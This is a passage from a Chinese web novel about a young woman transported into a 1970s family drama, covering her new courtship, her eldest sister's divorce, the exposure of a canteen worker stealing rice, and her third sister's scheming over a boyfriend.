但白兰很好奇许建北到底是怎么想的。她跟对方真正见面往来的次数，一个手掌都能数得过来。自己是因为许建北长得好看，从而有了了解这个人的想法。那么，许建北呢？ 许建北对于白兰的问题，十分老实地说道：“从你在跟宋国平的亲事处理上，我就觉得你是个聪慧的人。看你跟家人的相处，关心你大姐的举动，我知道你是一位善良的人。当然，还有一点，你也长得十分美丽，很合我的心意。” 最后一句，白兰听得相当高兴。原身跟她的样子长得一模一样。都是鹅蛋脸，大眼高鼻的模样。她很喜欢的自己，也很喜欢自己的长相。现在一个她欣赏的男人，说自己长得好看，自然她就很高兴。 两个很高兴的人，你看看我，我看看你，都觉得这一瞬间心跳加快了不少。 “那我们处对象看看？” “你愿意跟我处对象吗？” 两人异口同声说出这话，对视一眼，再次笑了开来。这一次，心里的欢喜更是如泉涌一般。 白兰想，处对象就是一个深入了解对方的过程。她很期待这个过程到底会发生什么事情。 —— 新鲜出炉的一对情侣，高高兴兴在国营饭店坐下吃饭。这一顿迟来的饭变为了庆祝两人处对象这件喜事。 平时很好吃的饭菜，在这时候变得更加好吃。就连吵闹的大堂也没能破坏两人的好心情。 吃过饭后，许建北约白兰一起去逛公园。白兰同意，两人准备起身离开。不过，这时候却看到大姐夫，跟几个男人勾肩搭背，从饭店二楼的包厢走了下来。 16-20 第15章 第15章原剧白莲的结局 一大早，宁静的钢铁厂就被一个消息炸锅了。 “听说了吗？妇联办公室的白莲，要跟销售科的秦胜利离婚！” “离婚啊！” “天啊！” 众人议论纷纷的时候，白莲已经跟秦胜利在妇联的办公室里面。两人都带着各自的老爹。一看这架势，就知道事情十分严重。 而正在对两人进行调解的妇联副主任，这时候脑壳也疼得很。 “白莲同志，你自己就是妇联的干事。你这样离婚，以后还能在妇联做好带头作用吗？” 秦胜利的直属领导，销售科主任此刻同样十分严肃地看着秦胜利：“男人就是要担责任的。你怎么能在白莲同志给你生了两个孩子后，还要闹着离婚。” 这样的场面，如果白兰看到的话，铁定觉得头大。但事实上，这时候的离婚并不比后世容易。阻力除了来自家庭、世俗，单位也是一个相当大的阻力。 “有矛盾就好好调解，调解不了就再调解。一次两次三次，总能把矛盾调解好的。” 妇联主任依然在用那三板斧劝说着。但白莲本来就在妇联工作，自然懂得这些所谓的“道理”。 她直接打断副主任的长篇大论：“我们两已经商量过了，结婚的时候是我们两自愿的。现在离婚我们两也是自愿的。国家都说 了，婚姻是自由的。这种自由，除了结婚自由，还有离婚自由。所以，谢谢领导的关心。但是决定已经做出，我们就不会再更改。” 副主任完全没想到白莲这样刚，瞬间脸就垮了下来。 秦胜利应该昨晚已经做好了心理建设，这会子虽然脸色难看、胡子拉碴的。但还是跟着道：“没错，我们什么都商量好了。孩子的事情，财产的事情都说好了。来单位只是开个介绍信。然后就去打离婚证。” 两人都是一副定要离婚的样子，副主任没法子。又不想给他们开介绍信。于是就想着拖一拖。拖几天可能就不想离了。 但这时候，妇联的主任出现了。 “他们想离就离吧！国家都说婚姻是自由的。” 副主任看到忽然冒出来的主任，惊了一下：“主任，这……” 主任摆摆手：“别啰嗦，赶紧给他们开介绍信。” —— 有了介绍信，离婚证很快就打好了。 孩子说好了，两个都归白莲。 房子是公家的，不用分。 至于钱票，这些刚刚已经在单位领导见证下分完了。秦胜利最后只要了四分之一的夫妻存款。对于这个，白莲没有推拒。这些钱她要留着给两个闺女。另外，秦胜利每个月的工资，都会拿出三分之一给两个闺女当抚养费。 对于这个结果，白莲已经十分满足。离开前，她最后跟秦胜利说了句话：“你小心点身边那些狐朋狗友。没有好处的事情，人家是不会做的。” 这是白莲能给秦胜利的唯一忠告。对方好歹是自家两闺女的亲爹。她总不会希望这人被坑。 秦胜利能说啥呢？心中万分悔恨，但又没办法挽回。他咬牙点头：“你好好照顾两闺女就行。我得空就会去看她们的。” 这话听着很有当爹的样子。白莲心中叹息，覆水难收。想再多也无意义。 两人在厂门口分道扬镳后，各自归家。 —— 白兰再次见到大姐白莲，就发现对方有种如释重负的轻松感。她没有过问离婚的细节，只问大姐是不是现在就要去秦家拉东西。 白莲点头，这次过去就要把她们母女三的东西都拉回来。 白爸爸这时候开口说他已经托人叫了车子，车很快就到大杂院了。到时候直接坐车过去钢厂。 说曹操曹操就到。只听到胡同口传来大货车的刹车声。 白兰福灵心至，看向从西厢出来的柳美玲。显然，来的人应该是许建南。对方跟运输公司的关系很不错，本人也会开大货车。 许建南来得这样及时，想来他们夫妻估计也知道大姐离婚的事了。 不过，这夫妻两都没有说什么。车子一来，白爸爸、白妈妈就带着白莲、白梨上车。白兰想去，不过家里还有两小孩要照顾。 “哎，白兰。你家怎么呢？全家出动还要劳动建南开车！” 车子刚走，就看到胡寡妇胡咧咧跑进来。边跑边大声嚷起来。之前大杂院的人就看到白爸爸带着白莲回来了。现在白家人又一窝蜂走了那么几个。众人就知道肯定出事了。 白兰没有回答这些人的疑问。大姐的事情，她觉得应该大姐自己来说。 于是，大杂院开始热闹了起来。大家都在猜白家到底出啥事呢！ 柳美玲作为许建南的媳妇也被人问了几句。但她只摇头说不知道。不管怎样，白兰是许建北的对象，她怎么样也要向着自己人的。 白兰不知道柳美玲的心思。她就带着两外甥女，把家门一关，在里面一起看小人书，顺便等人。 —— 这一等就是小半天。 众人看着白家人大包小包从大货车下来，马上就有人朝白妈妈打听了。 白妈妈还没来得及回答。白莲就直白地说道：“我跟秦胜利离婚了。现在要回来大杂院住。以后麻烦大家多照顾照顾了。” 丢下这句话，白莲继续搬着自己的东西。完全不在乎大杂院那嗡嗡嗡的激烈讨论声音。 这样的声音很快就从大杂院蔓延到整条杏花胡同。再从杏花胡同蔓延到附近一大片胡同。按照这个速度，不用几天的功夫，可能天津卫的人都知道，杏花胡同三号大杂院老白家的大闺女——离婚啦！ 外面的风浪暂时没有波及到小小的老白家。 东西搬回来，一家人就开始整理起来。小小的屋门把风风雨雨都阻挡在了外头。 “哎，以后估计要连累你们被人嘲笑好长一段时间了。” 面对大姐歉疚的脸，白兰如同上次那般直接摆手：“嘴长人身上，咱又不是大团结，不可能人见人爱的。” 这话直接把白莲给逗乐了。但同时，心中也忧虑三妹的反应。 今天一家人就白苹没有请假。这不是她的义务，但总让白莲觉得不踏实。总觉得三妹好像恨上了自己那般。她都盘算着干脆在家里过度一段时间。找到合适的地方就搬出去住算了。 白兰不知道大姐的顾虑。反正大姐脸上有了轻松的笑容，她也跟着高兴。 这样的高兴一直持续到晚上睡觉的时候。 —— 这一晚，白兰久违地做梦了。 梦里，她坐在自己的办公桌边，拿着手机边吃快餐边刷小金书。这个场景，白兰熟悉无比。不就是她午休惯常的习惯吗？ 她把脑袋凑到手机那，就看到手机屏幕中正在播放一个短剧。 短剧的名字叫做《七零宠婚：小夫妻的甜蜜暴富人生》。看到这个又土又尬的剧名后，白兰一个激灵，立刻把眼睛瞪得更大。 只见小小的手机屏幕上，已经四十多的白莲躺在病房里，身上插着各种管子。正费劲儿地拉着白兰地手说道：“后悔了，后悔了。不该忍的，不该……” 随着这句话的，是白莲那庸庸碌碌的一生回放。 回放里，白莲在发现秦胜利有二心后并没有离婚。她怕离婚丢人，怕离婚女儿没有爹，怕离婚父母抬不起头，怕离婚姐妹被人取笑。她忍啊忍，忍啊忍。一直忍到闺女长大结婚，一直忍到四十多。忍到胸口痛跑去看医生，确诊乳腺癌晚期。艰难救治了一段时间就挂掉了。 这样的人生旁人看来，除了炒蛋还是炒蛋。 白兰气得直接从梦中坐了起来。左右看了看，确定是梦就好了。但这个梦特别真实，真实到白兰怀疑原剧剧情，白莲的结局就是这么悲催。 幸好，幸好大姐现在离婚了。离婚了，代表未来改变了。 就在这个时候，对面的床铺传来一阵动静。 白兰本来不想理会的。但没过几秒钟，就听到床铺里的白苹正在说梦话。 她竖起耳朵仔细听，越听眼睛瞪得越大…… 第16章 第16章白苹的秘密 “昨天咱家早早关门闭户，邻居们就是想打听什么也进不来。但是今天不一样了。待会儿一出这个门，估计就会有很多人找你们问东问西。你们不想搭理的话就不搭理。咱老白家也不怕这些闲话。” 一早老白家人聚在堂屋，白爸爸就开始叮嘱家人今天可能会遇到的事情。 “特别是小莲你，昨天因为要处理离婚的事情请假了。今天回钢厂上班，估计你要承受各种风言风语。你看看是不是要跟人换个工作？反正钢厂离咱家还是有距离的。换个离家近的工作更好。” 这是白爸爸思量一晚上过后得到的结论。钢厂距离家里坐公交车要一个小时，每天这样早晚来回，确实很不方便。 但白莲却摇头。做错事情的不是她，她不怕任何闲话。再则，她要顾虑家里三个未婚妹妹的情况。想着在家里过度一段时间。等风声平息后，直接在厂里申请一个房子。按照她的工龄，她有资格申请一个一居室。 白兰看着大姐那坚定的表情，心里暗暗点赞。 但当目光转向三姐白苹的时候，白兰就忍不住撇撇嘴。之前她就觉得白苹这人不太好相处。经过大姐离婚这件事情后，更觉得白苹很自私。当她昨晚听完白苹的梦话后，白兰就觉得这人不止不好相处、自私了。 白苹这人从骨子里就是个凉薄的主儿。 回想起昨晚白苹的梦话，白兰眼底闪过一抹不屑。这种人，最好的结局就是得不到她想要的。 “行了，大家该干嘛干嘛去。小苹你留一下。” 白兰都要出门 了，听到白爸爸这话，就知道白爸爸准备给白苹做思想工作了。昨天忙乱了一天，根本没时间处理白苹给秦胜利通风报信的事情。 今天腾出手了，想来按照白爸爸的为人，肯定会训斥白苹一顿的。 看着白苹那难看的神色，白兰心中一阵痛快。 大姐已经离婚了，完全背离了白苹的初衷。她就等着看白苹还能做什么！ —— “兰兰……” 白兰一出门，没想到马上就被人叫住了。 “这还早呢，你怎么在这儿？” 白兰上班的时间比别人早一些。她想着出门遇到的邻居铁定不多。没想到秦艳已经在门口等着自己。 秦艳直接凑过来，伸手抱上白兰的手臂：“确实很早，不过我是特意来等你的。走，我送你上班去。” “艳子……” 白兰还没来得及感动，就听到隔壁秦家传来秦婶子的喊声。她抬头看去，见秦艳她妈妈脸色不太自然地看着他们。就知道秦婶子估计是介意大姐离婚这个事情了。 而且，秦胜利跟秦艳家还有亲戚关系。想来他们家对自家肯定有看法了。 但秦艳面对亲妈的暗示，就当没听到。拉着白兰就朝外头走去。边走边跟白兰吐槽： “我妈那老古董。说什么你大姐离婚不像话。老秦家的面子也给弄没了。我呸！她也不想想我这工作还是靠你爸爸帮忙牵线的呢！” 这几天秦艳忙着适应新工作，真没想到白兰家会有这样一番变动。但她一点都不介意。不说白莲姐是个好人，光是白兰是自己好朋友，自己的工作是白爸爸给帮忙的。她就不会对白家有任何芥蒂！ “反正，千错万错肯定是秦胜利的错！” 白兰被秦艳这个结论给逗乐了！ 等她走到胡同口，看到蹲在墙角处的大头时，脸上的笑容就越发大了起来。 “哎，小兰。你可真不讲义气。白莲姐出这么大的事情，也不跟我们提提。哼，一看就知道你只记得跟北哥那边说了。真是有异性没人性……” 虽然大哥跟大姐头处对象，大头觉得很高兴。只是真遇到事情，大头发现这大姐头都不爱找自己跟艳子帮忙了。这让他有一丢丢的失落。 白兰也知道自己这些天确实没怎么跟两老友交流。赶紧认错：“行行行，我知道我错了。要不这几天找个时间，我跟建北请你们吃个饭？” “行吧！”见白兰并没有被白莲离婚的事情影响，大头跟秦艳捂嘴偷笑起来。 有了两个好朋友的插科打诨，到了纺织厂后，白兰的心情十分轻松。 —— 所以，当面对食堂那些大妈、婶子们的围观，白兰异常淡定。 “白兰，听说你大姐离婚了！” “白兰，你大姐怎么就离婚呢？” “白兰，你大姐糊涂了。就她这样结过婚又有两个拖油瓶的。离婚后还能找到什么好的！秦胜利条件那么好，转头娶个年轻的，再生两大胖小子都不成问题。” 前面几句还带着些好奇跟看热闹的成分，但最后这句话就带着赤果果的恶意了。 白兰看着眼前这几个大妈。确定说这话的人，就是那个上班第一天就被自己打脸的蔡大妈！ 她微眯着眼盯着这人。上次打脸过后，这蔡大妈就安分了下来。这些天也没见闹幺蛾子。合着是等在这呢！ “哎，蔡大妈。你咋知道秦胜利的条件好的？哦，是不是一直盯着他呢！啧啧。可惜人家就是再娶媳妇，也看不上蔡大妈你这样的！” 说到最后，白兰故意用一种十分轻蔑的目光，把蔡大妈从头到脚都打量一遍。 被人这样奚落，蔡大妈气得脸红脖子粗，想也不想，抬手就想朝白兰打过去。 但白兰是傻的吗？见蔡大妈这鬼样子，早已经直接退后几步，回到了后厨。后厨到处是明火跟刀具，蔡大妈这样的杂工是不能进来的。 之前就因为违反了规定被罚款，这次蔡大妈不敢进后厨里面造次了。只在门口对着白兰破口大骂：“我就等着看你的结局。你大姐能被搅合得离婚，你以为你能得什么好！” 白兰忙活手里的工作，耳朵却一直在接收蔡大妈的咆哮。抽丝剥茧，她发现了一些端倪。 —— 忙完手头上的工作后，白兰打好饭菜，揣着饭盒就往隔壁螺丝厂去。 螺丝厂的规模比纺织厂要大不少。许建北已经在厂门口等着白兰，见她提着东西，笑着上去就接了过来。 “今天我们食堂有红烧肉，我特意打了一盒过来。这馒头是我做的。刚到的富强粉，掺了一半的玉米粉，香得很。” 许建北见她一副骄傲的样子，忍不住露出笑容来：“正好我们食堂今天中午吃卤猪头肉。我也买了一饭盒。” 两人确定关系后，经常中午饭是一起吃的。各自在各自厂里食堂打一份好吃的，然后凑一块儿吃。双倍的美味真让人觉得身心愉快！ 吃着美味的饭菜时，白兰跟许建北十分默契地聊着些开心的事情。 等美食吃完后，白兰这才把昨天大姐离婚的一些情况，大致说了下。主要这件事情上，许建北暗地里其实也帮了些忙的。 “那位妇联主任还真帮上忙啦！”白兰靠在许建北身边，小声说道。 知道大姐要离婚后，白兰就忧虑没那么容易。主要现代人要离个婚，真是比登天还难。被丈夫暴打甚至动刀子，都可能离婚不成。这年代应该没有这样恶劣，但白兰直觉没那么容易。 果然，大姐回来后稍稍提了提离婚的过程，白兰就庆幸许建北这边提前打了招呼。 没错，那位后来出现的妇联主任，其实是许建北的朋友曹昌盛的姑妈。这样拐着弯的关系，对方愿意帮忙。除了这一层关系，也是因为大姐工作以来的认真，得到了这位妇联主任的肯定。 —— “能帮上忙就好。大姐过了这个坎，以后的好日子长着呢！不过，我听说老秦家昨天一直都不太平。那个王浩昨天也在老秦家出现了。看这情况，估摸着秦胜利跟王浩还有得掰扯呢！” 白兰一听，嘿嘿一笑。秦胜利出轨是他的问题，那王浩听着风评就不是个好的。最好两人狗咬狗一嘴毛。 “对了，我跟你说……” 白兰把上午跟蔡大妈的冲突跟许建北全都说了。许建北自然知道蔡大妈是何许人也。就这人，在白兰上班第一天就搞事情。他印象深刻得很。 “我不清楚她最后为什么要说那句话，但直觉不简单。” 许建北沉吟片刻说道：“这人估计不是什么好人。你在食堂上班，身边都是水火。小心点比较好！” 白兰也懂得这个道理。这种恶人，她得想个办法整治一番。总不能天天防着，那她上班也太累了些。 —— 饭后，白兰回到食堂准备收拾一下就下班。 但一回去就碰上了来轮班的秦婶子。也就是秦艳的亲妈。对方也是纺织厂食堂的杂工。 早上那尴尬的一幕过后，白兰以为对方会当自己透明。毕竟真有女人会觉得，离婚的女人有毒，靠近的话会很丢人。 但没想到秦婶子扯开了一个笑容，虽然有些僵硬，但的的确确是笑容来着。 对着笑容，白兰当然回以一个微笑。 然后，她就被秦婶子拉到了角落：“白兰，你小心点那姓蔡的。” 白兰诧异看向对方。秦婶子却没有在意这个，只继续：“我是不赞同你大姐离婚。毕竟我们家也是老秦家的。但是，蔡大妈这人也不是个东西。” 想到刚来上班，她就被蔡大妈拉着说了一通，秦婶子就觉得脑壳疼。是，她是不赞同白莲离婚，也是秦胜利的亲戚。但是，她并不喜欢蔡大妈这种背后阴人的。 没错，蔡大妈以为自己会站在秦家这边。所以拉着自己准备阴白兰一次。为了 取信自己，居然还把她当初怎么挑拨秦胜利老娘的事情，也给秃噜了出来。 听完后秦婶子心中发寒。 见白兰回来，当然毫不犹豫就把蔡大妈给卖了。 —— 白兰没想到大姐跟前婆婆的矛盾，中间还有蔡大妈的推波助澜。这让她十分生气。更加坚定要把蔡大妈给狠狠收拾一顿。 但蔡大妈这人她了解得还真不多。只知道这人生了好几个儿子，儿子又各自生了好几个儿子，家里一串男丁。这也是蔡大妈最引以为傲的地方。 当然，从白兰的角度来看，一屋子耀祖，而且全部都没有正式工作，就蔡大妈老两口有正式的工作岗位。可想而知这家到底有多穷！ 但白兰观察过蔡大妈了，觉得这人应该不会很穷。所以，白兰觉得蔡大妈身上一定有古怪。 说干就干，白兰下班后没有直接回家，而是按照打听来的消息，直接来到了蔡大妈家。 蔡大妈家住在距离百货商店不远的一片低矮胡同里。胡同里面的住户，往上数三代，据说都是北城人。 白兰一来到这边，立刻就认出那个王浩也住在这一片。这种巧合让人心里不太舒服。但她按捺住心情，先去蔡大妈家那边逛了一圈。跟周围的邻居打听清楚蔡大妈家的情况。 确定这家真是一堆儿子孙子，只有老两口有工作。但是这家有个怀孕的儿媳妇，顿顿都吃红糖鸡蛋，一点都不像穷的样子。 由此，白兰确定这家肯定有别的来钱路子。而且这路子估计不怎么能见光。 这就好办！白兰决定好好盯着蔡大妈。 —— 就在白兰准备回家的时候，胡同里有个熟悉的年轻姑娘走了出来。对方表情带着些自得，正跟一个三十左右的女人说着什么，完全没有注意到白兰的视线。 白兰马上就认出了这人，不就是照片上紧紧抱着秦胜利的姑娘吗！当然，这人也曾经在国营饭店门口，被白兰看到过。那时候，她跟另外一个年轻姑娘，一起跟着秦胜利、王浩那一帮人。 这可真是…… 白兰没想到自己出门一趟，居然还能遇到这姑娘。如果没记错的话，这姑娘叫王娟。就这小半年前，才被王浩从乡下接到城里来。 按照许建北打听到的情况来看，这姑娘好像经常被王浩带着，跟钢厂车间的工人往来。这两个月好像就跟消失了一样。直到最近才又出现在王浩跟秦胜利的聚会上。 这之中要说没鬼，真是狗都不信。 不过大姐都离婚了，无论有什么问题，都是秦家该受的了。 接下来几天，邻居们依然热衷于谈论白莲离婚的事情。但也因为白家人的淡定，大家也不好意思再凑到他们跟前问东问西。 这种变化挺好的。更好的是，白兰对于蔡大妈的蹲点终于有了进展。 —— 周六这天一大早，就有面粉厂的大货车过来送货。食堂的面粉消耗挺快的。每个月面粉厂都会来送货。 面粉送来后，一般要过称才会入食堂小仓库。负责这个事情的人就是食堂大师傅老楚。 这事情并不在白兰的工作范围。 不过今天面粉入库的时候，白兰正好从洗手间出来，准备回后厨。就是这么巧，她看到了蔡大妈拎着扫帚进了小仓库。看样子应该是要打扫仓库。 这看着很正常的一件事情。但白兰却福灵心至，悄悄跟了上去。 这一看就不得了了。 只见仓库门口堆着十几袋面粉。除此之外，仓库里面存放的大米、棒子面等粮食，也被堆放在仓库门口，好方便搞卫生。 而本应该搞卫生的蔡大妈，正弯腰躲在这些粮食堆里，手里攥着个铁锥子，往一个鼓囊囊的麻袋扎。扎出一个小口子后，她就用力挤压麻袋。然后，就看到哗啦啦的大米，从小口子流进了蔡大妈的胸口里面。 之后，蔡大妈再用手指把那个口子扒拉一下，之前被锥子扎出来的口子就消失了。 整个过程说起来很长，但实际上也不超过一分钟。再之后，蔡大妈故技重施，又往边上的麻袋扎过去。然后，白兰再一次见到大米流进了蔡大妈的胸口。 看着对方的胸口开始变大，白兰简直目瞪口呆。 这偷东西能想到藏在这里，也真是个人才了。 —— 能现场看到蔡大妈偷东西，白兰也没耽搁。马上就去找其他人过来一起“欣赏”了。 至于蔡大妈偷了多少次，一共偷了多少，又往哪里销赃这些事情，白兰就不管了。她得抓住这个机会，赶紧把这人给踢走。 很快，白兰就把跟蔡大妈不对付的几个大妈，直接领到了犯罪现场。 接下来她就看了一场好戏。 只见那几个大妈战斗力爆表，上来就抓住了蔡大妈偷东西的手。然后有人压着她，有人去喊楚大师傅。吵吵嚷嚷，不说整个食堂了，就是巡逻的保卫科人员，都知道发生什么事情了。 蔡大妈被抓了个现行还想狡辩。但是，抓着她的大妈相当生猛。直接把手伸到她的胸口里面，愣是从里面翻出了两鼓囊囊袋子。 “好家伙，你居然在胸口这里缝了两口袋！” 负责掏米的大妈也愣了愣，随即大喊了起来。 这时候整个食堂的人都已经围在了这里，见状一个个都瞪大了双眼。还有人在那调侃，说怪不得蔡大妈的xiong有时候大有时候小。 大师傅老楚也被这情景弄得相当生气。偏蔡大妈把东西藏在敏感地方，让他都有点说不出口来。 蔡大妈见口袋被人掏了出来，还要狡辩：“这大米是我从家里带出来的。你们凭什么搜身？” 但大家都不是傻的，没人理会蔡大妈的辩解。 当下老楚就说道：“现在就给你两条路，一条是你把偷的粮食都还回来。然后自己滚蛋。另外一条，把你送派出所。你偷了多少东西，自己跟派出所交代！” 老楚是知道食堂有些小偷小摸的。但蔡大妈这样明目张胆又被人现场逮到的。他作为食堂负责人，铁面无私才能保证自己的利益。 白兰看到这里相当满意。无论蔡大妈选择哪条路，最终的结果就是离开食堂。这样的话，她也不用上个班还得小心翼翼提防暗算了。 蔡大妈最后当然选的是第一条路。真送去派出所，一家子以后就不用做人了。 不过她还是坚持自己就偷了这么一次。因为之前没有逮到她偷东西，贼赃早被她销了。所以最后的处理结果，就是直接开除了蔡大妈，还罚了她一个月的工资。 看着灰溜溜离开食品厂的蔡大妈，白兰心情美滋滋了一天。 下班回到家里，看到白苹依然难看的脸色，白兰的心情就更美了。 —— 自从前几天大姐离婚后，白苹的脸色就一直这么难看。 家里人只以为她是因为大姐离婚而不高兴。毕竟，大家都知道邱成才的妈一直对白苹不满意。白苹的大姐离婚了，这种不满意可能会危及他们之间的关系。 但是白兰知道事实不是这样的。 是，白苹是不想大姐离婚。但原因跟邱家没有一毛钱关系。真正的原因，其实是因为白苹担心自己的名声，被大姐离婚带累。 白兰之所有这样的结论，是因为白苹那天晚上说的梦话。 那天晚上，白苹时不时就在咒骂邱成才是个没用的男人。语气带着深深的怨怼。真是听得白兰都要起鸡皮疙瘩。 白兰不觉得二十出头的白苹，能跟邱成才有多少爱恨情仇。所以，更有可能的是，对方那天晚上的梦，跟未来有关系。 她都能穿越了，刚好又梦到关于大姐生平的回放。所以，白兰有理由怀疑，白苹这人的梦境跟未来剧情有关。虽然不清楚白苹看到的具体内容是什么。但里面一定有关于她跟邱成才的未来。而这个未来，一定不符合白苹的设想。 所以，白苹一定是想 甩了邱成才的。而且她的这种想法，白兰估摸着应该在好久之前就有了。 白兰还记得那次许建南结婚时，邱成才来家里找白苹看电影。当时白苹的态度就有点不耐烦。 现在回想起来，白兰才觉得白苹这人真是心机深沉。那么久之前就想甩掉邱成才。但这人愣是忍到了现在还没付诸行动。 大姐离婚想来打断了白苹的计划。白兰以为对方暂时不会跟邱成才闹掰。但是这几天她看白苹那副模样，好像有要马上跟邱成次闹掰的模样。 这还真是有意思呢！ —— 白苹不知道白兰猜到了一些自己的计划。 大姐离婚已经成为定局，她没能阻止不说，还因为这个，这几天一直被父母责备。所以，白苹这次学乖了。她不会再把自己的想法，在家里人面前表露出来。 “苹苹，苹苹，问你呢！这几天邱成才他妈有找你说什么不？” 饭桌上，白妈妈认真地看向三女儿。虽然对白苹的一些行为不满，但白妈妈还是很关心这个从小就体弱的女儿。 白苹依然是那副苦瓜脸，对着白妈妈委屈摇头。 白妈妈一看，心里就一个咯噔。白大姐更是自责，觉得是自己连累了三妹。 白兰见好好的吃饭氛围变成这样，忍着翻白眼儿的冲动。干咳两声道： “三姐，你不用伤心。我那天去百货商店正好遇到邱哥了。他还悄悄跟我打听你喜欢哪种款式的手表。虽然他没有明说，但我估计他这是要准备跟你结婚的聘礼呢！” 这还真不是白兰瞎说的。她之前盯着蔡大妈的时候，真在百货商店碰到过邱成才。 邱成才这人怎么说呢？有点像那种无忧无虑，朝气蓬勃的青年。白兰就跟他聊了那么几句话，都能从他的言语中，体会到这人对白苹真挚的感情。 但白苹这样的人，其实根本配不上邱成才。 所以，白兰对于白苹想甩掉邱成才的想法，十分赞同。 “兰兰，是真的吗？”白兰的话音刚落，就听到白妈妈跟白大姐惊喜的声音。 白兰笑容满面的点头，看向白苹那越发难看的脸色，茶茶地说道：“所以，三姐你真不用担心。邱哥那么有心，你跟他又有一份这么好的工作。结婚后跟单位申请个屋子。那日子就能美美地过起来。” “对了对了。你妹妹说得特别对。” 白妈妈赞同点头。觉得小闺女虽然没有结婚，但这有了对象就是不一样。看这建议就相当妥当。 白大姐兴匆匆地加入到了这个话题里面。甚至都开始讨论要是白苹结婚，给她准备什么嫁妆好。 白二姐从小就对白苹有补偿心里。这会儿当然也加入了这个话题。 白爸爸这个当家人，笑眯眯地看着妻女的谈论。 白兰深藏功与名，坐在那边吃肉，边观察白苹那扭曲的脸。 哼，你不想跟邱成才谈了又拖着人家不放。还故意装相让家里人同情你。现在大家都那么兴匆匆等着你的好事，看你能忍多久！ —— 白苹还真没能忍多久！因为她知道，谈对象是一回事。要是真到谈婚论嫁才吹了，自己的名声会更加不好听。 自己以后的人生计划，不能缺少一个好名声。 于是，第二天一早白苹就急匆匆出门了。白家人见状，一个个高兴得很，都以为白苹是去跟邱成才约会呢！ 白妈妈更是跟白爸爸说：“这一放假，苹苹就着急忙活出门。看来她跟成才的好事近了。也不知道邱家人什么时候来提亲。你有空去探探老邱的口风。”白兰对于白妈妈的兴匆匆没有泼冷水。按照昨天白苹那样子，白兰觉得今天可能会有好戏可以看。她吃过早饭，溜达着就去隔壁找秦艳。今天说好了她跟许建北，要请秦艳跟大头吃午饭的。刚跟秦艳说上两句后，就看到许建北带着大头，笑眯眯地来到了后院。最近许建北来大杂院的次数急速上升。邻居们看到他进来，一个个调侃道：“哟，建北。这么早就跑过来啊！这一天天的也太累些。有想过要搬回来住不？” “是啊！再不回来，你那屋子怕是要被你大嫂给占了。” 许建北淡淡地瞥了眼说这话的胡寡妇，并没有回答这个问题。 是否要搬回大杂院，他还需要跟白兰商量。至于自己的屋子会不会给大嫂给占了？那是不可能的。家里的屋子早在大哥结婚前就分好了。大嫂就是想占也占不了。他妈苗女士可不是吃素的。 这不，苗大菊人就在水槽那洗衣裳，自然听到胡寡妇的话。她双手叉腰就指着胡寡妇骂了一通。 骂过后，心里其实也希望小儿子搬回家里来住的。对方从小就跟着他爷爷去螺丝厂了。这是公婆之间的矛盾造成的。现在公婆都不在了，苗大菊其实还真想跟小儿子住近一点。 不过，她也知道小儿子是个有主意的。当下什么都不说，只跟小儿子交代：“晚上要是晚了就回家里住得了。” —— “你想搬回来住不？” 从大杂院出来，白兰自然而然地走在许建北身侧，小声问起他刚刚的事情。 许建北想了想说道：“再过一段时间，等天气没那么热了。我把我那屋子收拾一下再看。” 许建北在螺丝厂上班，住的地方是当年螺丝厂分给他爷爷的小洋楼。他爷爷年头过世后，这房子厂里暂时还没收回去。不过以他的级别是没资格住小洋楼的。 厂里暂时没有赶他走，不过许建北已经跟厂里申请房子了。等自己的房子申请下来后，他就要从小洋楼搬出来。到时候，可以把一部分东西搬到大杂院这边。这样，就可以在大杂院跟厂里两边住了。 这些安排他还没跟白兰细说。主要是之前其实他有想过要调任到海城的。不过，这个想法在认识白兰后，就渐渐打消了。 白兰不知道因为她这一只蝴蝶，愣是把一个本应该前往海城的人，留在了北城。 这就是明明许建北那么优秀，又是男主许建南的弟弟，但是短剧并没有他出现的原因。 当然，这会子白兰还不知道这个。只认真听许建北的讲述，顺道考虑今天去哪里能“偶遇”白苹跟邱成才。 —— “成才，我觉得我们真的要好好考虑一下这段关系。你妈说的没错，本来我们两家的条件就不般配。现在我大姐离婚了，我更加配不上你！我不想耽搁你……”只见白苹一副伤心欲绝又强颜欢笑地看着邱成才。那样子，真是看得邱成才心都要碎了！“苹苹，你别说了。我妈说的那些话你不用理会。你知道的，我喜欢你。我妈的意见不代表我的意见。我们两都有工作有收入，我一定会给你幸福的生活。”白苹听到邱成才这话，表情真是又幸福又痛苦又舍不得。白兰是真没想到啊！她这一出来，都还没走远呢，就看到了眼前这精彩的一幕。 这一幕看在白兰眼中，简直想要拍案叫绝。奥斯卡缺白苹一座金奖！这样的演技，在七十年代真是浪费了！ 明明白苹是特别想跟邱成才分手的，现在这副作态，真是有点虐恋情深的味道呢！虐得邱成才嗷嗷叫的那种。 果然，那头的邱成才已经从兜里掏出了一块女士手表： “我今天特意早早来你家这边等你。就是来给你送这块手表的。这个款式你喜欢不？我问过你小妹了，她说你喜欢这种款。手表是我买来送你的。我想跟你结婚，除了这块手表，聘礼我还准备了自行车跟收音机，都是我自己弄来的。票都到手了，你今天有空跟我一起去买吗？”—— “哇，兰兰。你三姐真是好福气啊！” 身边的秦艳已经羡慕得不行了。这白苹姐都要因为邱成才的妈，跟他分手了。但邱成才居然敢违背他妈的意见，自己准备好结婚的聘礼了。 这种做派，在18岁的秦艳眼中，跟英雄也没差了。 但是，看在同样18岁的大头眼中，只觉得这两人真是磨叽。 女的嗷嗷叫着要分手，但是拿手表的动作 一点都不慢。 男的嗷嗷叫着要结婚，但是却没法说服女的同意，只会傻乎乎送东西。 真是，他大头都要看不下去啦！ 白兰刚听到秦艳的话，想说你别太天真了。结果马上就被大头的话给逗乐了。心想大头这种大直男，估计很难找到对象喽！ 许建北见他们三这样搞笑，忍着笑意轻轻拍了拍白兰的手臂。他是知道白兰跟她三姐不对付的。但具体为什么不太清楚。 只不过看着眼前这一幕，许建北发现自己好像懂了！ 那头沉浸在自己世界的两人，根本不知道他们在胡同角落处的对话，居然还被四个熟人听了个正着。 这会子白苹已经把手表拿到手里看了又看，确定这手表是进口的，价格还要200多，还得搭上不少外汇券。这样的好东西，家里就是买得起也不会给她买的。 但邱成才就舍得。 —— 白苹脸上闪过一丝挣扎。但马上她就想起这两个多月来，一直没有变过的梦境。 那个梦，刚开始出现时，白苹觉得这是瞎扯淡。因为邱成才是她好不容易找到的对象。为了跟邱成才处对象，她从上初中开始就有意识地接近对方了。好不容易高中处上对象了，她才开始享受到邱成才给她带来的好处。 工作，是邱成才让家里人帮忙安排的。中间波折特别多，但总算得了个如意的工作。 生活上，邱成才也是个大方的。他家里条件本来就特别好。 